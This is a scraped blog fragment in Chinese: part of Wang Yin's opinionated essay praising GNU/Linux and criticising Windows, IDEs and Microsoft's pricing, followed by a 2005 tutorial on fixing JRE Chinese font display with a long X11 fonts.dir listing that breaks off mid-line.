编程大全\u0026rdquo;之类的书，根本没有听课。吃饭时就念念有词的跟我说，\u0026ldquo;代码的优化是无止境的\u0026rdquo;，\u0026ldquo;匈牙利命名法真是伟大的发明\u0026rdquo; \u0026hellip;\u0026hellip; 这就是中国很多大学计算机系的情况。 感觉到无知了？这不是偶然的，而是微软长久以来埋下的伏笔。它要让无知的大家都把它奉为神圣，它要让支持UNIX，Xwindow的人一旦说 UNIX 好，Xwindow 好的时候，都被一群人围着说教：\u0026ldquo;这个 Windows 也能做到\u0026rdquo;，\u0026ldquo;你对 Windows 有偏见\u0026rdquo;，\u0026ldquo;微软才是主流啊\u0026rdquo;，\u0026ldquo;你敢瞧不起 win2k？\u0026rdquo;，\u0026ldquo;.NET 就是世界潮流\u0026rdquo;，\u0026ldquo;微软的毕竟是新技术\u0026rdquo;，\u0026ldquo;有钱就是有技术\u0026rdquo;\u0026hellip;\u0026hellip; 甚至在一番论战比较后败下来还是要说：\u0026ldquo;Windows 性能差点，但是易用性强\u0026rdquo;，\u0026ldquo;Windows 是老百姓用的，要求别那么高\u0026rdquo;，\u0026ldquo;微软那么有钱，以后想超过 UNIX 还不容易吗？\u0026rdquo;\u0026hellip;\u0026hellip; 发达国家的计算机教育 我前段时间在 USENET 发文问有关 Scheme 语言的问题时，认识了一位丹麦人。他解决了我所有的问题，并且建议我阅读一些很\u0026ldquo;深奥\u0026rdquo;的有关程序语言语法，文法的书，他告诉我很多网站可以学习 LISP，Scheme，人工智能，算法。他叫我看 Jonathan Rees 的论文 \u0026quot;Syntactic Closures\u0026quot;。他还打包给我寄过来一份 MIT 的 \u0026quot;How to Design Programs\u0026quot;。他说他在自己的 PC 机上装的是 Linux，他用 Emacs 编辑，运行 Scheme 程序。他对 Emacs 的了解和爱好真是使人惊讶。他大学本科毕业时做的毕业设计是一个 Scheme 解释器。这对于我来说是望尘末及了。 他是那么的不厌其烦，我的每一个问题他都详细的回答。我有时都觉得过于详细了，怎么这么耐心啊？我觉得他似乎是我的高中老师。他是什么样的人呢？我好奇的打听了他的情况。原来，她是丹麦一所普通高中的计算机老师，而且是个女老师！ 她说她在高中里讲授程序设计和算法，计算机语言文法。她说用 Scheme，她的学生不用再为内存泄漏等程序语言本身的问题而烦恼，而专注于问题和算法本身。有利于培养学生解决问题的能力，特别是用计算机解决数学问题的能力。 天哪！为什么欧洲出现那么多数学家，几何学家？你看看别人重视的是什么！我们的计算机教育如果继续这样下去，只会沿着弯路越走越远！ 微软和它的朋友们的如意算盘 下面来看看微软的收入是怎么来的。首先，Windows 98系列操作系统，一个就是 100 多美元，每次升级又是几乎同样的价钱。Windows NT 还要贵几倍，而且有用户数目限制，5个用户的，10个用户的\u0026hellip;\u0026hellip; 以后如果要增加用户数目还要按比例付钱。这个奇怪的现象被通用汽车公司的总裁比喻为：\u0026ldquo;你买的微软牌汽车最开头只有一个座位，每加一个座位你得向汽车公司付钱，每开100英里要大修一次，每过一年要换一次引擎。\u0026rdquo; 花了如此多钱买来的操作系统就能用了吗？它竟然连压缩程序都没有提供！你装上 Windows 之后一般第一件事就是去下载一个 WinZip 吧，\u0026ldquo;只要 29 美元\u0026rdquo;。Windows 会中病毒啊，马上花 70 美元买一个 Norton AntiVirus 吧。还有黑客呢？再买一个 Norton Internet Security 好了，100 美元。系统需要优化，磁盘需要整理，买一个 Norton System Works 是你最佳的解决方案，100美元。 可是你现在还是不能干正事啊！你想要一个 Word, PowerPoint？那就买一套 Office XP 吧，一起买便宜些，9.90。 那些程序不会用啊！那些菜单怎么设置，到底有什么功能啊？看\u0026ldquo;帮助\u0026rdquo;也学不会。买本书看看吧，我推荐\u0026ldquo;Special Edition Using Microsoft Office XP\u0026rdquo;，不贵，.99。这本书里面大部分是屏幕抓图，还是买一本旧的比较划算，.85。 你如果只是当个秘书，上面的差不多还凑合了。可是你有更高的追求，你想成为 Windows 程序员。首先买一个 Visual Studio.NET 吧，要不然怎么编译程序。4.95。 为了紧跟微软动向，世界潮流，不能不注册个 MSDN 什么的吧？这个贵一点，不过物有所值啊，,799。 嗯，你现在已经是上层阶级，白领人士了。你现在可以像这样\u0026ldquo;自由\u0026rdquo;的，\u0026ldquo;安全\u0026rdquo;的生活了： 什么是 Windows 能干而 Linux 干不了的事情？ \u0026ldquo;Windows 能干而 Linux 干不了的事情，那就是不需要干的事情。\u0026rdquo; 有个朋友看我半年没有用 Windows，有时就会问我：\u0026ldquo;你只用 Linux，有没有发现有些 Windows 能处理的事情 Linux 干不了？\u0026rdquo; 我回答说：\u0026ldquo;Windows 能干而 Linux 干不了的事情，那就是不需要干的事情。\u0026rdquo; Windows 能做的有益的事情 Linux 都能做 Windows 下的某些功能确实是我们需要的，那么 Linux 的开发者们和用户也需要这种功能，他们就会去实现这种功能，而且比Windows 的方式好得多。由于大多数科学家，工程师用的都是 Linux 或者某种商业 UNIX, 所以几乎所有商业的科学工程程序，比如Matlab, Mathematica, AutoCAD, Candence的，Synopsys的，Avant! 的\u0026hellip;\u0026hellip;全都是先有 UNIX 的版本(包括Linux)，然后再考虑移植给 Windows，甚至根本不移植给 Windows，因为 Windows 的机器一般没有足够的能力运行这样的程序。你不要以为只有 Windows 才有 PSpice, UNIX 的 HSpice 要好得多，而且可以运行在大型主机上。当然它们不是免费的，但是它们值那个价钱。 但是 Windows 下有些东西在 Linux 下没有很相似的，或者你找到很多类似的，但是它们每一个比起 Windows 的那个程序都要差很多，那么原因有两种可能性： 1. 有一个完全类似的程序，但是由于它乍一看不漂亮，被你忽略了。 而其它程序虽然看起来很漂亮，但是它们是一些初学编程的人写的。现在由于 Gtk+, Qt 的诞生，Linux 下开发图形界面程序极其简单，很多初中生甚至小学生都可以随手编出一些漂亮不中用的程序。如果你整天寻找这样的程序挑来挑去，永远也找不到你满意的。 我曾经也犯过这样的错误，优秀的 FVWM, lftp, Mutt, wget 都被我忽略过！当我找回它们的时候，我是那么的羞愧不已，它们现在都是我的朋友 用这些程序你可以改变它们的一切，我第一次看到 FVWM 觉得它只不过是一个有很厚很难看边框的东西。可是现在，我的同学看到 FVWM 都说：\u0026ldquo;哇！真漂亮。\u0026rdquo; 2. 有另一种完全不同的方式可以达到相同的目的，甚至更好。 很多人很关心 Open Office, Star Office, AbiWord, \u0026#8230; 他们多么盼望有一天某一个 Linux 程序能够完全兼容的打开一个复杂的 doc 文档。但是你永远也不可能有那一天。为什么呢？因为微软为了占有市场，必定不会让其它系统的程序能够完全兼容它的文档格式！它一定会不断变化 doc 文档的内部结构，隐藏一些秘密，让其它公司的程序打开 doc 文档时总是有某种问题，从而你必需购买 Microsoft Office 和Windows。 你应该想一下，那么多的高智商的大学教授，科学家，学生，他们用的都是 Linux 或者其它类型的 UNIX，他们没有 Word 可用，怎么处理文档呢？这么多年没有一个像 Open Office 的程序出现，难道大家没有办法写文档吗？ 显然不是这样。你看看那些高水平的学术杂志，论文，那些大学教授的网页，那些漂亮的PDF幻灯片，它们是什么做的？原来 UNIX 用户早就有非常方便的 troff, LaTeX, SGML 等东西可以处理文档，而且它们比起 Word 都要高明的多。Word 显然被这些大拿忽略了，以至于很久以来没有人想在 Linux 下开发一个类似 Word 的程序，除非某些公司想抢微软的饭碗。 很多人留着 Windows 在硬盘上的原因无非是为了用 Word 和 PowerPoint。你待会儿可以看看我的TeX网页，你就会知道为什么我可以完全离开 Windows. Windows 能做的那些没用的事情 Linux 永远做不好 1. 电脑游戏 有些人说 Linux 下不能玩 Windows 下所能得到的所有游戏。的确，Linux 下虽然也有少量的游戏，比如 Quake。但是它没有 Counter Strike, 没有 Star Craft, \u0026hellip;\u0026hellip; 并不是说电脑游戏不该玩，但是应该适可而止。电脑是用来处理事务，帮助你学习，解决问题的工具，而不是一个玩具！整天沉迷于电脑游戏中，而不出去感觉外面的世界，你会变得越来越冷酷，越来越缺乏人情味。你与真实的世界越来越远。 你可以在 CS 里杀人，你可以在 Tomb Raider 里探险，你甚至可以在 Tony Hawk\u0026#8217;s Pro Skaters 里滑板\u0026hellip;\u0026hellip; 但是 It\u0026#8217;s not real！你虽然有很高的\u0026ldquo;反恐技巧\u0026rdquo;，但是遇到歹徒的时候，你是那么的怯懦；你虽然控制 Laura 伸手敏捷，但是你打篮球的时候怎么总是被人断球？你虽然可以轻易的在 THPS 里作出一个 \u0026quot;360 kickflip to hangten grind to fakie\u0026quot;，但是你踩在自己的滑板上的时候还不会 ollie！ 说回来，如果你偶尔玩一下电脑游戏未尝不可。但是世界上有远比 Windows + PC 更好的游戏方式。Sony 的 PlayStation2, SEGA 的 DreamCast, Nintendo 的 N64，Namco 的街机\u0026hellip;\u0026hellip;每一个都比 Windows 游戏精彩，每一个都有如此高的3D性能，以至于 Pentium4, Itanium + GForce4 都无法与它们比美！ Linux 的用户们都是关心解决世界的关键问题的份子，他们哪里有时间用自己的机器来玩游戏啊？他们每天用Linux高效的做完自己的工作就到阳光下享受自然去了。要玩游戏也是玩一些类似推箱子，贪吃蛇之类的智力小游戏。所以，你知道为什么 Linux 几乎没有游戏了吧？ 2. \u0026ldquo;整理硬盘，优化系统\u0026rdquo; 这是一个非常有意思的话题，仅次于有关\u0026ldquo;病毒\u0026rdquo;的话题。相信很多 Windows 用户都有整理硬盘的经历。在很多 Windows 用户眼里，\u0026ldquo;硬盘用久了，会出现碎片，速度会减慢，需要一个程序来整理，整理硬盘的时候不要做其它工作\u0026rdquo;，这好像是天经地义的事情。 我也曾经津津有味的看着 Norton Defrag 一点一点的把我的硬盘排序，调整，用图形的方式显示出来，然后报告：\u0026ldquo;100% 没有碎片。你的硬盘现在已经达到最佳状态。\u0026rdquo; 我现在才发觉我那时是多么的幼稚。 Linux 和 UNIX 用户似乎从来没有\u0026ldquo;整理硬盘\u0026rdquo;这种说法呢？你觉得很奇怪吗？如果你觉得很奇怪，那说明你的思想在某种程度上被微软的垃圾程序禁锢了。你需要明白，UNIX 的大型主机很多必须是一天24小时，一年365又1/4天不停运转的，要是每个星期都要整理一次硬盘，在整理的时候几乎不能干任何事情，那是绝对行不通的！ Linux 机器根本不用整理硬盘，这就是为什么没有看到过 Linux 用户整理硬盘。Linux 的文件系统是比 Windows 的 FAT, FAT32, NTFS 高明得多的文件系统，它们不但可以对文件设置权限，实施完全的保护，而且可以\u0026ldquo;越用越整齐\u0026rdquo;，\u0026ldquo;越用碎片越少\u0026rdquo;！你应该把文件大部分放在 Linux 的分区，而不是 Windows 分区，因为它比 Windows 分区可靠得多。 还有更滑稽的事情就是有很多\u0026ldquo;Norton System Doctor\u0026rdquo;，\u0026ldquo;Windows 优化大师\u0026rdquo;，\u0026ldquo;超级兔仔注册表魔法\u0026rdquo; 之类的程序存在，而且价格昂贵。似乎一个操作系统本来应该有很多问题，需要别的厂商做程序来\u0026ldquo;优化\u0026rdquo;它，而且为了得到优化，你需要付钱！这些问题 Linux 根本就没有，所以不需要什么优化。Linux 内核本身就是高度优化的。 3. IDE 有些人在抱怨为什么 Linux 没有一个良好的 IDE 开发环境。Linux 现在已经有一些 IDE 了，但是总是有很多问题。你是不是正在寻找，正在期望 Linux 某一天可以有一个VC那样的开发环境？你有没有发现你正在进入微软给你设下的怪圈？你为什么一定要用 IDE？你说：\u0026ldquo;IDE 开发迅速，调试方便，适合大型程序\u0026hellip;\u0026hellip;\u0026rdquo; 那说明微软的程序在你脑子里已经比较根深蒂固，你需要好好清醒一下了，看看我来告诉你。 高明的 UNIX 程序员不用 IDE，IDE 从来就是给初级 Windows 程序员用的。 你看看大型的 UNIX 程序，包括 Linux 内核，各种网络服务程序，Xwindow 程序在内，哪一个是 IDE 搞出来的？我们实验室的 EDA 程序也没有一个是 IDE 弄的，我还知道 Candence, Synopsys，Mentor 的高性能的图形界面 EDA 程序也都不是 IDE 写的。你信不信，微软的人在写 Windows 本身的时候也根本不用 IDE！ 有一次某杂志采访一些出名的 Linux 内核程序员，包括 Linus 在内，没有一个人用 IDE，有的人用 VIM，有的用 Emacs，只有 Linus 说\u0026ldquo;GNU Emacs is evil\u0026rdquo;，但是其实他用的是一种跟 Emacs 有同样键绑定功能的 MicroEmacs。大家都是用编辑器编辑了程序文件，然后用 make 这样的自动工具调用 gcc 编译器完成编译工作的。 我以前也编过 Windows 程序：应用程序，驱动程序。但是我没有用 VC 的 IDE。Linux 教育了我，我会在命令行调用 CL，我知道 CL 才是 VC 的编译器。我可以在 cygwin 的 Makefile 里使用 CL。我还知道 CL 的参数都有什么用处。但是这些不是一个从一开头就用 IDE 的人能很快理解到的。 我相信: IDE is evil。我有一些用 Windows 的 IDE 写程序的朋友，他们对那套东西已经很精通了。但是我却惊奇的发现，他们竟然把编译器和汇编器的概念都分不清楚，甚至有的人连\u0026ldquo;编辑器\u0026rdquo;和\u0026ldquo;编译器\u0026rdquo;都搞混淆了！他们只知道在一个窗口里输入了代码，点击一个按钮就可以编译程序，但是这里面到底是怎么工作的，他们不知道！他们被盖在上面的窗口挡住了视线，甚至会以为那个按钮就是编译器！ 他们对那些 IDE 的热键背的滚瓜烂熟，但是我却看到他们在一个函数一个函数的把别人的 ANSI 风格的代码变成 VC 的风格。想想这件事在 VIM 里有多么简单，一瞬间就可以搞定。 为什么 UNIX 程序员不用 IDE？明白了这个道理你就能体会到 UNIX 的设计思想了。首先，一个 IDE 集成了编辑器，编译器，汇编器，调试器，跟踪器\u0026hellip;\u0026hellip; 这个编辑器功能肯定比不上 VIM 或 Emacs，编译器比不上 GCC，汇编器比不上 as，调试器比不上 gdb, ddd, 跟踪器比不上 strace, ltrace, truss。你得到的是一套整合的低能的程序。如果你对调试器的功能不满意，你只好换用另外一套 IDE，但是这套 IDE 的热键，菜单，编辑器功能，按钮\u0026hellip;\u0026hellip; 跟原来那个有很大不同。你不得不花很多时间来熟悉新的环境，而不能保持原来的某些东西。 而在 UNIX 下就不一样了。你可以用你最喜欢的 VIM 编辑程序，你在 VIM 里可以调用 GNU make，make 可以调用 gcc, ld, \u0026#8230; 实际上 make 能帮你很多忙。make 的出错信息可以被 VIM 捕获，VIM 能帮你在源程序里定位。你如果喜欢 icc, 你可以让 make 用 icc 而不是 gcc。你如果觉得 gdb 跟踪变量时比较麻烦，你可以用 ddd 来显示各种数据结构之间的关系。你还可以在 Emacs 里调用 gdb，那样就可以同步显示源代码了。而且 VIM 和 Emacs 还可以编辑很多其它东西，比如信件，LaTeX 文档，HTML，配置文件\u0026hellip;\u0026hellip; 你不用另外找一个什么编辑器来干这些杂活了。很多程序比如 Mutt, tin 都可以在内部使用 VIM，这样就更方便了。 ","permalink":"https://hessian.cn/p/414.html","summary":"完全用 GNU/Linux 工作 理解 GNU/Linux 注：本文是清华\u0026ldquo;牛仔\u0026rdquo;王垠的\u0026ldquo;成名作\u0026rdquo;，在网上引起很大的争议。对他崇拜地五体投地者有，对他嗤之以鼻者也有，总之成了一年多以前Linux 爱好者的圈子里的一个很有意思的现象。之后他对这篇文章进行了很大的修改，已经没有了原来那种意气风发。现存的版本如白开水一般无味，请参见：http: //learn.tsinghua.edu.cn/homepage/2001315450/ 尽管他原来的观点有所偏激，但我还是很欣赏他原来的风格。 ","title":"完全用 GNU/Linux 工作【闲】】[1]"},{"content":"创建：2005-10-28 00:09:13\n作者：Unlinux\n来自: http://www.Unlinux.com\n由于jre里font.properies默认的字体是 Turbolinux里的-tlc-song-字体，如果你没有这种字体，肯定显示的都是\u0026ldquo;口\u0026rdquo;，解决方法有2种，一个就是按照jre里的说明，按照它的方法自己添加字体，但是这个难度比较大，需要用它提供的脚本，但是对于我们这些不是很了解java程序的菜鸟来说，这个方法显然有点难度。于是，我就想，既然我自己没有办法生成字体目录，我就改我原来的fonts.dir，让它支持这种-tlc-song-字体，同时保持原来的字体-misc- simsun-。更改的方法有很多种，我的方法不一定最好，也不一定是最简单，如果那个兄弟有更好的方法，可以写出来。\n1\u0026gt; 新生成一个fonts.dir；\n2\u0026gt; 在原来的fonts.dir里增加新的字体定义。\n我以前一种为例子，具体方法如下：\n1.在/usr/X11R6/lib/X11/fonts/trutype/下建立一个新的目录ttf-zh（目录名随便你起），然后将simsun.ttf，tahoma字体拷贝至这个新建立的目录。\n2.将simsun.ttf改名为tlc_song.ttf，将tahoma.ttf改为tlc_song_ascii.ttf。\n3.生成fonts.dir文件：\n132\ntlc_song_ascii.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\ntlc_song.ttf -tlc-song-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:tlc_song.ttf -tlc-song-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nds=y:tlc_song.ttf -tlc-song-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-1\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030.2000-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:ds=y:tlc_song.ttf -tlc-song-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\ntlc_song_ascii.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\ntlc_song.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\ntlc_song.ttf -tlc-ming-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:tlc_song.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:tlc_song.ttf -tlc-ming-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nds=y:tlc_song.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nds=y:tlc_song.ttf -tlc-ming-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:ds=y:tlc_song.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:ds=y:tlc_song.ttf -tlc-ming-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\ntlc_song.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\ntlc_song_ascii.ttf -tlc-mincho-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\nai=0.3:tlc_song.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\nai=0.3:tlc_song_ascii.ttf -tlc-mincho-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\nds=y:tlc_song.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\nds=y:tlc_song_ascii.ttf -tlc-mincho-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0212.1990-0\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1990-0\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0208.1983-0\nai=0.3:ds=y:tlc_song.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-c-0-jisx0201.1976-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-mincho-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song_ascii.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\ntlc_song.ttf -tlc-HanyiSong-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:tlc_song.ttf -tlc-HanyiSong-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\nds=y:tlc_song_ascii.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nds=y:tlc_song.ttf -tlc-HanyiSong-bold-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:ds=y:tlc_song_ascii.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:ds=y:tlc_song.ttf -tlc-HanyiSong-bold-i-normal\u0026#8211;0-0-0-0-c-0-big5-0\ntlc_song_ascii.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-gbk-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\ntlc_song.ttf -tlc-default-medium-r-normal\u0026#8211;0-0-0-0-c-0-big5-0\nai=0.3:tlc_song_ascii.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-p-0-iso8859-1\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-iso10646-1\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-gbk-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb2312.1980-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-gb18030-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.eten-0\nai=0.3:tlc_song.ttf -tlc-default-medium-i-normal\u0026#8211;0-0-0-0-c-0-big5.et-0\nai=0.3:tlc_song.ttf 